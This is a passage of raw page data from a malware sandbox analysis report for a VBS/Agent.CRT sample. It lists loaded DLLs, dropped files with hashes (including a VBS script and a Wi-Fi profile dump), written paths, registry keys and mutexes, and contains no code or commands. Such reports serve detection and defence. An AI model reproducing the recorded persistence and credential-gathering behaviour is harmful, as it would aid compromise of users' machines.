dll","dwmapi.dll","nshhttp.dll","msctf.dll","rsaenh.dll","msisip.dll","rasmontr.dll","eappprxy.dll","scrrun.dll","ntmarta.dll","mswsock.dll","mskeyprotect.dll","WcnNetsh.dll","wlancfg.dll","ktmw32.dll","SHCore.dll","psapi.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","fwpolicyiomgr.dll","bcrypt.dll","atl.dll","System.Core.ni.dll","Microsoft.Management.Infrastructure.ni.dll","dhcpcmonitor.dll","nettrace.dll","gdi32full.dll","version.dll","OneCoreUAPCommonProxyStub.dll","GdiPlus.dll","cabinet.dll","advapi32.dll","sppc.dll","System.Data.dll","dhcpcsvc6.dll","ifmon.dll","wshelper.dll","crypt32.dll","cldapi.dll","msIso.dll","System.Net.Http.ni.dll","FWPUCLNT.DLL","wdi.dll","rmclient.dll","gpapi.dll","fwbase.dll","winipsec.dll","mlang.dll","win32u.dll","cryptsp.dll","MpOAV.dll","System.Data.ni.dll","winmm.dll","eappcfg.dll","profapi.dll","wldp.dll","propsys.dll","System.Configuration.Install.ni.dll","OnDemandConnRouteHelper.dll","ndfapi.dll","nshipsec.dll","sspicli.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","rasman.dll","wevtapi.dll","wlanapi.dll","ulib.dll","System.Xml.ni.dll","System.Transactions.dll","ncryptsslp.dll","netapi32.dll","imm32.dll","shlwapi.dll","cryptbase.dll","mscoree.dll","vcruntime140_clr0400.dll","wininet.dll","dot3cfg.dll","nlaapi.dll","clbcatq.dll","nsi.dll","samcli.dll","polstore.dll","wwancfg.dll","mprmsg.dll","slc.dll","secur32.dll","winnsi.dll","wtsapi32.dll","authfwcfg.dll","dot3api.dll","hnetmon.dll","tdh.dll","rpcrt4.dll","ws2_32.dll","netiohlp.dll","rpcnsh.dll","whhelper.dll","msvcp110_win.dll","wcmapi.dll","ucrtbase.dll","onex.dll","mdmregistration.dll","kernel.appcore.dll","uxtheme.dll","System.Transactions.ni.dll","winhttp.dll","ncrypt.dll","user32.dll","ole32.dll","sxs.dll","shell32.dll","mpr.dll","aepic.dll","mprapi.dll","Wldap32.dll","msvcp_win.dll","combase.dll","wintrust.dll","coml2.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"DominicanSymptomInsectsDeclare.vbs","sha256":"9c2d73bcb3739fb1dfa99b7ae74b28c779f533d7d768c63642b2ac678703d1f7","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"wifi_profiles.tmp","sha256":"6b6dd8b11f84fb78e3e8cfaa7c5fca569d79402b9fc5861b00960b25607c911e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"DominicanSymptomInsectsDeclare.vbs%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_u3rhx0qy.y32.ps1","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_xmewtbhb.ifa.psm1","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"path":"%LOCALAPPDATA%\\SpermshackBeginnersDinosaursAustraliansOccasions\\DominicanSymptomInsectsDeclare.vbs","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"path":"%LOCALAPPDATA%\\SpermshackBeginnersDinosaursAustraliansOccasions\\DominicanSymptomInsectsDeclare.vbs:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"path":"%LOCALAPPDATA%\\PeerDistRepub","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"path":"%TEMP%\\wifi_profiles.tmp","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\PEERDIST\\","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\PEERDIST\\","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"key":"HKCUHKCU\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\NETTRACE\\","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"key":"HKCUHKCU\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\NETTRACE\\SESSION\\","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4012:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4012:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4012:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"Local\\SM0:4012:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"Local\\SM0:4012:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"SM0:4012:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"SM0:4012:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4012:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4040:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"Local\\SM0:4040:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"SM0:4040:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"SM0:4040:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4040:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4040:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4156:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4156:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"Local\\SM0:4156:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"SM0:4156:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3624:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3624:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"SM0:3624:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"Local\\SM0:3624:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7396:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7396:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"Local\\SM0:7396:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"SM0:7396:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]}]}},"report_ids":{"sandbox_job_ids":["69e73f6981fb624b4c0e957d"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious VBS/Agent.CRT Sample 9c2d73bcb373… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 9c2d73bcb373…. Malware family: VBS/Agent.CRT. Threat score 100/100. 1/27 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/9c2d73bcb3739fb1dfa99b7ae74b28c779f533d7d768c63642b2ac678703d1f7"}],["$","meta","4",{"property":"og:title","content":"Malicious VBS/Agent.CRT Sample 9c2d73bcb373… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 9c2d73bcb373…. Malware family: VBS/Agent.CRT. Threat score 100/100. 1/27 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/9c2d73bcb3739fb1dfa99b7ae74b28c779f533d7d768c63642b2ac678703d1f7"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious VBS/Agent.CRT Sample 9c2d73bcb373… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 9c2d73bcb373…. Malware family: VBS/Agent.CRT. Threat score 100/100. 1/27 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L55","11",{}]]